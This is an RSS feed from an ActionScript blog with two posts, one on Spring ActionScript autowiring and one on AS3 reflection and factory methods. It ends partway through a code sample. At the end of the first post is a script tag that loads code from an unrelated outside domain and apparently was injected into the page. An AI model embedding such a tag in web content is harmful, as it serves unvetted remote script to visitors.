<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlashFuck.it &#187; ActionScript 3</title>
	<atom:link href="http://www.flashfuck.it/category/actionscript-3/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flashfuck.it</link>
	<description>flash platform, gaming and 3D</description>
	<lastBuildDate>Tue, 27 Apr 2010 12:53:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Spring Actionscript : Autowire new instances of non visual objects</title>
		<link>http://www.flashfuck.it/2010/01/21/spring-actionscript-autowire-objects-not-defined-in-context/</link>
		<comments>http://www.flashfuck.it/2010/01/21/spring-actionscript-autowire-objects-not-defined-in-context/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 11:04:38 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[IoC]]></category>
		<category><![CDATA[PureMVC]]></category>
		<category><![CDATA[Spring Actionscript]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=166</guid>
		<description><![CDATA[UPDATE!!!
A new method has just been added to IObjectFactory committed on spring actionscript svn repo in order to let autowire non visual classes!! w00t!:)
Take a look at

?View Code ACTIONSCRIPTIObjectFactory.createInstance&#40;clazz:Class, constructorArguments:Array = null&#41;:*;


this solves the problem and we have no longer to extend AutowiringObjectBase
Take a look to the commit http://bit.ly/dmhZWd and update your source
Thanx Roland to [...]]]></description>
			<content:encoded><![CDATA[<p><b>UPDATE!!!</b></p>
<p>A new method has just been added to IObjectFactory committed on spring actionscript svn repo in order to let autowire non visual classes!! w00t!:)</p>
<p>Take a look at</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p166code3'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1663"><td class="code" id="p166code3"><pre class="actionscript" style="font-family:monospace;">IObjectFactory.<span style="color: #006600;">createInstance</span><span style="color: #66cc66;">&#40;</span>clazz:<span style="color: #000000; font-weight: bold;">Class</span>, constructorArguments:<span style="color: #0066CC;">Array</span> = <span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #66cc66;">*</span>;</pre></td></tr></table></div>

</p>
<p>this solves the problem and we have no longer to extend AutowiringObjectBase</p>
<p>Take a look to the commit <a href="http://bit.ly/dmhZWd">http://bit.ly/dmhZWd</a> and <a href="http://www.springactionscript.org/source-repository.html">update your source</a></p>
<p>Thanx Roland to have done the whole work <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  and for the support</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>First of all a little explanation on the title of this post:<br />
I&#8217;m having some fun with <a href="http://www.springactionscript.org/">spring actionscript</a>, an as3<a href="http://en.wikipedia.org/wiki/Inversion_of_control"> IoC</a> framework. It&#8217;s my first experience with inversion of control in actionscript and I found it a little weird at first, but now I (think I&#8217;ve) understood how it works I&#8217;m having really lots of fun with it <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .<br />
Anyway, Spring actionscript provides two ways of autowiring object properties:<br />
- for non visual objects: you define your object and its properties in the context (xml or mxml) and when that object is being created the framework automatically wires up all its properties driving into each of them the defined value.<br />
- for visual objects: you mark your component&#8217;s properties with the custom metatag [Autowired] and when your component is added to the display list spring actionscript automatically wires up all marked properties.</p>
<p>But what if I want to create a non visual object at runtime and I want the framework to autowire its marked properties?<br />
I created a base class in order to do that, it&#8217;s built upon the <a href="http://www.puremvc.org/">pureMVC</a> extension for spring actionscript, which is actually the microarchitecture framework I&#8217;m using right now.</p>
<p>Here&#8217;s the code:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p166code4'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1664"><td class="code" id="p166code4"><pre class="actionscript" style="font-family:monospace;">package
<span style="color: #66cc66;">&#123;</span>
    <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">utils</span>.<span style="color: #006600;">describeType</span>;
&nbsp;
    <span style="color: #0066CC;">import</span> org.<span style="color: #006600;">as3commons</span>.<span style="color: #006600;">lang</span>.<span style="color: #006600;">ClassUtils</span>;
    <span style="color: #0066CC;">import</span> org.<span style="color: #006600;">puremvc</span>.<span style="color: #006600;">as3</span>.<span style="color: #006600;">patterns</span>.<span style="color: #006600;">facade</span>.<span style="color: #006600;">Facade</span>;
    <span style="color: #0066CC;">import</span> org.<span style="color: #006600;">springextensions</span>.<span style="color: #006600;">actionscript</span>.<span style="color: #006600;">context</span>.<span style="color: #006600;">IConfigurableApplicationContext</span>;
    <span style="color: #0066CC;">import</span> org.<span style="color: #006600;">springextensions</span>.<span style="color: #006600;">actionscript</span>.<span style="color: #006600;">puremvc</span>.<span style="color: #006600;">interfaces</span>.<span style="color: #006600;">IIocFacade</span>;
&nbsp;
    <span style="color: #808080; font-style: italic;">/**
     * This class provides autowiring for subclasses.
     *
     * @author pigiuz
     *
     */</span>
    <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> AutowiringObjectBase
    <span style="color: #66cc66;">&#123;</span>
        <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _iocFacade:IIocFacade;
&nbsp;
        <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> AutowiringObjectBase<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
        <span style="color: #66cc66;">&#123;</span>
            _iocFacade = Facade.<span style="color: #006600;">getInstance</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> as IIocFacade;
            autoWire<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #66cc66;">&#125;</span>
&nbsp;
        <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">get</span> container<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:IConfigurableApplicationContext
        <span style="color: #66cc66;">&#123;</span>
            <span style="color: #b1b100;">return</span> _iocFacade.<span style="color: #006600;">container</span>;
        <span style="color: #66cc66;">&#125;</span>
&nbsp;
        <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> autoWire<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
        <span style="color: #66cc66;">&#123;</span>
            <span style="color: #000000; font-weight: bold;">var</span> typeDescription:<span style="color: #0066CC;">XML</span> = describeType<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">this</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> metaDataNode:<span style="color: #0066CC;">XML</span> <span style="color: #b1b100;">in</span> typeDescription..<span style="color: #006600;">metadata</span><span style="color: #66cc66;">&#41;</span>
            <span style="color: #66cc66;">&#123;</span>
                <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>metaDataNode.<span style="color: #006600;">attribute</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;name&quot;</span><span style="color: #66cc66;">&#41;</span> == <span style="color: #ff0000;">&quot;Autowired&quot;</span><span style="color: #66cc66;">&#41;</span>
                <span style="color: #66cc66;">&#123;</span>
					<span style="color: #000000; font-weight: bold;">var</span> host:<span style="color: #0066CC;">String</span>;
					<span style="color: #000000; font-weight: bold;">var</span> chain:<span style="color: #0066CC;">String</span>;
                    <span style="color: #000000; font-weight: bold;">var</span> propertyNode:<span style="color: #0066CC;">XML</span> = metaDataNode.<span style="color: #006600;">parent</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
                    <span style="color: #000000; font-weight: bold;">var</span> property:<span style="color: #0066CC;">String</span> = propertyNode.<span style="color: #66cc66;">@</span><span style="color: #0066CC;">name</span>.<span style="color: #0066CC;">toString</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
                    <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;Found Autowired property: &quot;</span> + property<span style="color: #66cc66;">&#41;</span>;
                    <span style="color: #000000; font-weight: bold;">var</span> objectName:<span style="color: #0066CC;">String</span> = property;
                    <span style="color: #000000; font-weight: bold;">var</span> autowireByType:<span style="color: #0066CC;">Boolean</span> = <span style="color: #000000; font-weight: bold;">true</span>;
&nbsp;
                    <span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> arg:<span style="color: #0066CC;">XML</span> <span style="color: #b1b100;">in</span> metaDataNode.<span style="color: #006600;">arg</span><span style="color: #66cc66;">&#41;</span>
                    <span style="color: #66cc66;">&#123;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>arg.<span style="color: #006600;">attribute</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;key&quot;</span><span style="color: #66cc66;">&#41;</span> == <span style="color: #ff0000;">&quot;host&quot;</span><span style="color: #66cc66;">&#41;</span>
                        <span style="color: #66cc66;">&#123;</span>
                            host = arg.<span style="color: #006600;">attribute</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;value&quot;</span><span style="color: #66cc66;">&#41;</span>
                        <span style="color: #66cc66;">&#125;</span>
                        <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>arg.<span style="color: #006600;">attribute</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;key&quot;</span><span style="color: #66cc66;">&#41;</span> == <span style="color: #ff0000;">&quot;chain&quot;</span><span style="color: #66cc66;">&#41;</span>
                        <span style="color: #66cc66;">&#123;</span>
                            chain = arg.<span style="color: #006600;">attribute</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;value&quot;</span><span style="color: #66cc66;">&#41;</span>;
                        <span style="color: #66cc66;">&#125;</span>
                        <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>arg.<span style="color: #006600;">attribute</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;value&quot;</span><span style="color: #66cc66;">&#41;</span> == <span style="color: #ff0000;">&quot;byName&quot;</span><span style="color: #66cc66;">&#41;</span>
                        <span style="color: #66cc66;">&#123;</span>
                            autowireByType = <span style="color: #000000; font-weight: bold;">false</span>;
                        <span style="color: #66cc66;">&#125;</span>
                    <span style="color: #66cc66;">&#125;</span>
                    <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>autowireByType<span style="color: #66cc66;">&#41;</span>
                    <span style="color: #66cc66;">&#123;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>host <span style="color: #66cc66;">&amp;</span><span style="color: #808080; font-style: italic;">#038;&amp; chain)</span>
                        <span style="color: #66cc66;">&#123;</span>
                            <span style="color: #808080; font-style: italic;">// CHAINED AUTOWIRE</span>
                            <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;Autowiring: &quot;</span> + property + <span style="color: #ff0000;">&quot; in &quot;</span> + <span style="color: #0066CC;">this</span> + <span style="color: #ff0000;">&quot; from &quot;</span> + host + <span style="color: #ff0000;">&quot;.&quot;</span> + chain<span style="color: #66cc66;">&#41;</span>;
                            <span style="color: #000000; font-weight: bold;">var</span> hostObject:<span style="color: #0066CC;">Object</span> = container.<span style="color: #006600;">getObject</span><span style="color: #66cc66;">&#40;</span>host<span style="color: #66cc66;">&#41;</span>;
                            <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>hostObject<span style="color: #66cc66;">&#41;</span>
                            <span style="color: #66cc66;">&#123;</span>
                                <span style="color: #0066CC;">this</span><span style="color: #66cc66;">&#91;</span>property<span style="color: #66cc66;">&#93;</span> = hostObject<span style="color: #66cc66;">&#91;</span>chain<span style="color: #66cc66;">&#93;</span>;
                            <span style="color: #66cc66;">&#125;</span>
                        <span style="color: #66cc66;">&#125;</span>
                        <span style="color: #b1b100;">else</span>
                        <span style="color: #66cc66;">&#123;</span>
                            <span style="color: #808080; font-style: italic;">// AUTOWIRE BY TYPE</span>
                            <span style="color: #000000; font-weight: bold;">var</span> clazz:<span style="color: #000000; font-weight: bold;">Class</span> = ClassUtils.<span style="color: #006600;">forName</span><span style="color: #66cc66;">&#40;</span>propertyNode.<span style="color: #66cc66;">@</span><span style="color: #0066CC;">type</span>.<span style="color: #0066CC;">toString</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
                            <span style="color: #000000; font-weight: bold;">var</span> objectNames:<span style="color: #0066CC;">Array</span> = container.<span style="color: #006600;">getObjectNamesForType</span><span style="color: #66cc66;">&#40;</span>clazz<span style="color: #66cc66;">&#41;</span>;
                            <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>objectNames.<span style="color: #0066CC;">length</span> == <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>
                            <span style="color: #66cc66;">&#123;</span>
                                objectName = objectNames<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span>;
                            <span style="color: #66cc66;">&#125;</span>
                            <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;Autowiring by type: &quot;</span> + property + <span style="color: #ff0000;">&quot; in &quot;</span> + <span style="color: #0066CC;">this</span><span style="color: #66cc66;">&#41;</span>;
                            <span style="color: #0066CC;">this</span><span style="color: #66cc66;">&#91;</span>property<span style="color: #66cc66;">&#93;</span> = container.<span style="color: #006600;">getObject</span><span style="color: #66cc66;">&#40;</span>objectName<span style="color: #66cc66;">&#41;</span>;
                        <span style="color: #66cc66;">&#125;</span>
                    <span style="color: #66cc66;">&#125;</span>
                    <span style="color: #b1b100;">else</span>
                    <span style="color: #66cc66;">&#123;</span>
&nbsp;
                        <span style="color: #808080; font-style: italic;">// AUTOWIRE BY NAME</span>
                        <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;Autowiring by name:&quot;</span> + property + <span style="color: #ff0000;">&quot; in &quot;</span> + <span style="color: #0066CC;">this</span><span style="color: #66cc66;">&#41;</span>;
                        <span style="color: #0066CC;">this</span><span style="color: #66cc66;">&#91;</span>property<span style="color: #66cc66;">&#93;</span> = container.<span style="color: #006600;">getObject</span><span style="color: #66cc66;">&#40;</span>objectName<span style="color: #66cc66;">&#41;</span>;
                    <span style="color: #66cc66;">&#125;</span>
                    propertyNode = <span style="color: #000000; font-weight: bold;">null</span>;
					host = <span style="color: #000000; font-weight: bold;">null</span>;
					chain = <span style="color: #000000; font-weight: bold;">null</span>;
                <span style="color: #66cc66;">&#125;</span>
                metaDataNode = <span style="color: #000000; font-weight: bold;">null</span>;
            <span style="color: #66cc66;">&#125;</span>
            <span style="color: #808080; font-style: italic;">// dispose describetype</span>
            typeDescription = <span style="color: #000000; font-weight: bold;">null</span>;
        <span style="color: #66cc66;">&#125;</span>
&nbsp;
&nbsp;
    <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>As you can see, as the constructor is called the iocFacade (the puremvc&#8217;s facade decorated in a springy fashion) is retrieved in order to be able to locate the application context (iocFacade is not needed if you are not using puremvc, just make sure you can locate the context otherwise it won&#8217;t work!) and the autoWire method is called.</p>
<p>Basically what autoWire() does is checking which properties are marked as [Autowired] and looking up the container for object definitions satisfying required conditions (name\type\host-chain), then wire each property with the found object.</p>
<p>Good thing is in order to leverage this autowiring capability you just have extend this class and create your own classes feeling free to mark properties as [Autowired].</p>
<p>Is there some better solution out there?</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2010/01/21/spring-actionscript-autowire-objects-not-defined-in-context/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>AS3 Reflection crapyness :\</title>
		<link>http://www.flashfuck.it/2009/12/02/as3-reflection-crapyness/</link>
		<comments>http://www.flashfuck.it/2009/12/02/as3-reflection-crapyness/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 12:58:10 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Improvements]]></category>
		<category><![CDATA[Reflection]]></category>
		<category><![CDATA[Spring]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=164</guid>
		<description><![CDATA[Today I spent a whole morning to figure out that AS3 sucks.
Today I&#8217;ve been implementing a simple factory method which receives a Class object and some parameters to be passed to the concrete class instance, something with a signature like this:

?View Code ACTIONSCRIPTstatic public function createInstance&#40;c:Class, ... args&#41;:Object

BUT&#8230;the implementation of such a clear and simple [...]]]></description>
			<content:encoded><![CDATA[<p>Today I spent a whole morning to figure out that AS3 sucks.</p>
<p>Today I&#8217;ve been implementing a simple factory method which receives a Class object and some parameters to be passed to the concrete class instance, something with a signature like this:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p164code11'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p16411"><td class="code" id="p164code11"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">static</span> <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> createInstance<span style="color: #66cc66;">&#40;</span>c:<span style="color: #000000; font-weight: bold;">Class</span>, ... <span style="color: #006600;">args</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Object</span></pre></td></tr></table></div>

<p>BUT&#8230;the implementation of such a clear and simple method has been a bloody bath, because AS3 doesn&#8217;t support a really cool way to do really cool stuff like this <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
I thought the implementation would be simply something like</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p164code12'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p16412"><td class="code" id="p164code12"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">static</span> <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> createInstance<span style="color: #66cc66;">&#40;</span>c:<span style="color: #000000; font-weight: bold;">Class</span>, ... <span style="color: #006600;">args</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Object</span>
<span style="color: #66cc66;">&#123;</span>
<span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> c<span style="color: #66cc66;">&#40;</span>args<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>or any other easy way (python taught me to think simple <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) BUT&#8230;<br />
&#8220;new c(args);&#8221; means my class constructor accepts one parameter typed as an Array, and I really don&#8217;t want my custom classes to have this defect of form nor my custom factory not to be able to instance classes written by someone else, so the solution &#8220;classes to be instanciated by the factory must accept an array as constructor parameter&#8221; is absolutely out.</p>
<p>Next approach, &#8220;reflect all properties instead of having parameters passed to the constructor&#8221;&#8230; not really a solution. Not always classes&#8217; properties have the same name\type\whatever of constructor parameters. It&#8217;s a compromise that my factory can&#8217;t accept because I wouldn&#8217;t be able to create whatever class instance but only &#8220;some&#8221; class instance :\. out.</p>
<p>Next approach, &#8220;use <a href="http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/Function.html#apply%28%29">Function.apply</a> to pass some parameters (array) to a function as they were single variables&#8221;..hey! that&#8217;s a good one! Let&#8217;s try it with some function</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p164code13'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p16413"><td class="code" id="p164code13"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">class</span> MyClass<span style="color: #66cc66;">&#123;</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> myfunc<span style="color: #66cc66;">&#40;</span>foo:<span style="color: #0066CC;">String</span>,bar:uint<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span>foo, bar<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> MyOtherClass<span style="color: #66cc66;">&#123;</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> callmyfunc<span style="color: #66cc66;">&#40;</span>... <span style="color: #006600;">args</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
<span style="color: #000000; font-weight: bold;">var</span> c:MyClass = <span style="color: #000000; font-weight: bold;">new</span> MyClass<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
c.<span style="color: #006600;">myfunc</span>.<span style="color: #0066CC;">apply</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">null</span>,args<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>HEY! IT WORKS! holy crap! AS3 rocks!&#8230;wait, let&#8217;s try it with a constructor function&#8230;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p164code14'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p16414"><td class="code" id="p164code14"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">class</span> MyClass<span style="color: #66cc66;">&#123;</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> MyClass<span style="color: #66cc66;">&#40;</span>foo:<span style="color: #0066CC;">String</span>,bar:uint<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span>foo, bar<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> MyOtherClass<span style="color: #66cc66;">&#123;</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> callmyfunc<span style="color: #66cc66;">&#40;</span>... <span style="color: #006600;">args</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
<span style="color: #000000; font-weight: bold;">var</span> c:MyClass = <span style="color: #000000; font-weight: bold;">new</span> MyClass<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #0066CC;">apply</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">null</span>,args<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>&#8230;ok, it doesn&#8217;t work :\ and throws a runtime error :/ &#8220;Property apply not found on MyClass and there is no default value&#8221;&#8230;mmm<br />
ok, maybe I have to reference the constructor function, but how can I do it!?<br />
let&#8217;s try with &#8220;<a href="http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/Object.html#constructor">Class.prototype.constructor</a>&#8221;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p164code15'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p16415"><td class="code" id="p164code15"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">class</span> MyClass<span style="color: #66cc66;">&#123;</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> MyClass<span style="color: #66cc66;">&#40;</span>foo:<span style="color: #0066CC;">String</span>,bar:uint<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span>foo, bar<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> MyOtherClass<span style="color: #66cc66;">&#123;</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> callmyfunc<span style="color: #66cc66;">&#40;</span>... <span style="color: #006600;">args</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
<span style="color: #000000; font-weight: bold;">var</span> c:<span style="color: #000000; font-weight: bold;">Class</span> = MyClass;
<span style="color: #000000; font-weight: bold;">var</span> f:<span style="color: #000000; font-weight: bold;">Function</span> = c.<span style="color: #0066CC;">prototype</span>.<span style="color: #0066CC;">constructor</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>&#8230;error&#8230; Class.prototype.constructor returns the type of the caller class (in this case MyClass)&#8230;<br />
so&#8230;what can I do?</p>
<p>Discarded solutions:<br />
- <del datetime="2009-12-02T12:02:52+00:00">&#8220;classes to be instanciated by the factory must accept an array as constructor parameter&#8221;<br />
</del><br />
- <del datetime="2009-12-02T12:02:52+00:00">&#8220;reflect all properties instead of having parameters passed to the constructor&#8221;</del><br />
- <del datetime="2009-12-02T12:02:52+00:00">&#8220;use Function.apply to pass some parameters (array) to a function as they were single variables&#8221;</del><br />
here&#8217;s the solution: (drums) <strong>THE CRAPY ONE</strong>!<br />
better known as &#8220;switch it all baby&#8221;&#8230;.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p164code16'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p16416"><td class="code" id="p164code16"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">static</span> <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> create<span style="color: #66cc66;">&#40;</span>c:<span style="color: #000000; font-weight: bold;">Class</span>, ... <span style="color: #006600;">args</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Object</span> <span style="color: #66cc66;">&#123;</span>
			<span style="color: #b1b100;">switch</span><span style="color: #66cc66;">&#40;</span>args.<span style="color: #0066CC;">length</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
